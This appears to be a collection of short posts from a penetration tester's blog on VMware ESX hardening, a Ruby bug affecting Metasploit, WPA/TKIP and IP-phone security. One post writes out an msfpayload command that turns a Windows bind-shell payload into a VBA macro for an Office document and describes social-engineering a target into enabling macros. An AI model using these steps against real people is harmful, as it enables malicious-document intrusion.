Checking VMWare ESX 3.x Security

One of the main reasons for most of my recent travels and projects is virtualization. Many clients are going the virtual way to save costs on energy, space and cooling, plus it lets them get the most out of their existing hardware. But many VMWare implementations I have seen are your typical next > next > next .... reboot, very few people take the time to secure their VMware ESX infrastructure and that is when I recomend to them to get started a great little pice of freeware called Configcheck from Tripwire. The only thing missing in it is report generation in a PDF or HTML format but other than that if you have a VMWare ESX 3.x infrastructre use this great tool to give it a quick check.

Ruby in Ubuntu 8.10 Broken for Metasploit use

I recently decided to build a virtual machine with Ubuntu 8.10 to test most of the tools I use before upgrading my main laptop with it, and what do I find? that it is using Ruby 1.8.7 without the patch provided by HD to Ruby to fix an error on the use of Shortnamed Variables. So guys I recommend if you use Metasploit not to upgrade to Ubuntu 8.10 just yet, I'm also getting errors with Nessus.

HD has posted a bug to Canonical and it appears they are working on it for more info

https://bugs.launchpad.net/ubuntu/+source/ruby1.8/+bug/282302

Metasploit 3.2 VBA Support for generating Payloads

Well Metasploit 3.2 is looking every time better and better, one feature I missed was that now you can encode your payloads in to VBA (visual basic for applications) code and inbed the code into a Office Document for clientside attacks during a pentest.

Usage: ./msfpayload [var=val]

you can even create a Javascript payload for generating malicious webpages or HTML documents that can be send to targets.

an example would be:
/msf3/msfpayload windows/shell_bind_tcp LPORT=5555 V > evilmacro.vba
then we take the content of the file generated and paste it in Tools >Macros >Visual Basic Editor in Word or Excel and send our file to our target machine, the default policy of the latest version of Office is to disable macros but thru human weakness and a bit of social engenieering the target may enable or already enabled himself Macros and set the security to low. Once open our payload will execute.

But what if we whant to use something like a Core Impact Agent or any other tool, well whe just head over to the tools folder and inside we will find exe2vba.rb

Usage: ./exe2vba.rb [exe] [vba]

Don't you just love Metasploit? I highly recomed the securityteam blog since from them is from who I learned about this feature.

WPA ain't Dead

I have read many articles and many of them state that WPA is dead, well if you read carefully it ain't dead yet. The attack works on WPA networks where TKIP and QoS are used and only partial decryption happens. In fact if you have your AP logging errors to a centtralized server you can even create triggers for the attack for example a Cisco MARS. One has to start the process of securing the wireless networks and start the migration to AES, once Aircrack-ng is updated and further research is done on this attack I do belive that WPA with TKIP will be dead, so you have some time left but you better move it. I highly recommend you give a rear to the article Battered but not Broken in arstechnica.

Secure Your IP Phones

I have been traveling and immersed in several projects for the last couple of weeks and on all clients I saw IP Phones and I can say that on all clients they where not secured. In fact as you can see in the attached picture I had all the info by just pressing some buttons. I have always give the advice to my clients but it tends to fall in to deaf ears. In fact when asking almost all the guys I know who administer VOIP infrastructures do not even encrypt RSTP stream!! and many have phones in lobby and conference rooms and exposed jacks that only use CDP as a means to acces the VOIP VLAN, voiphopper anyone?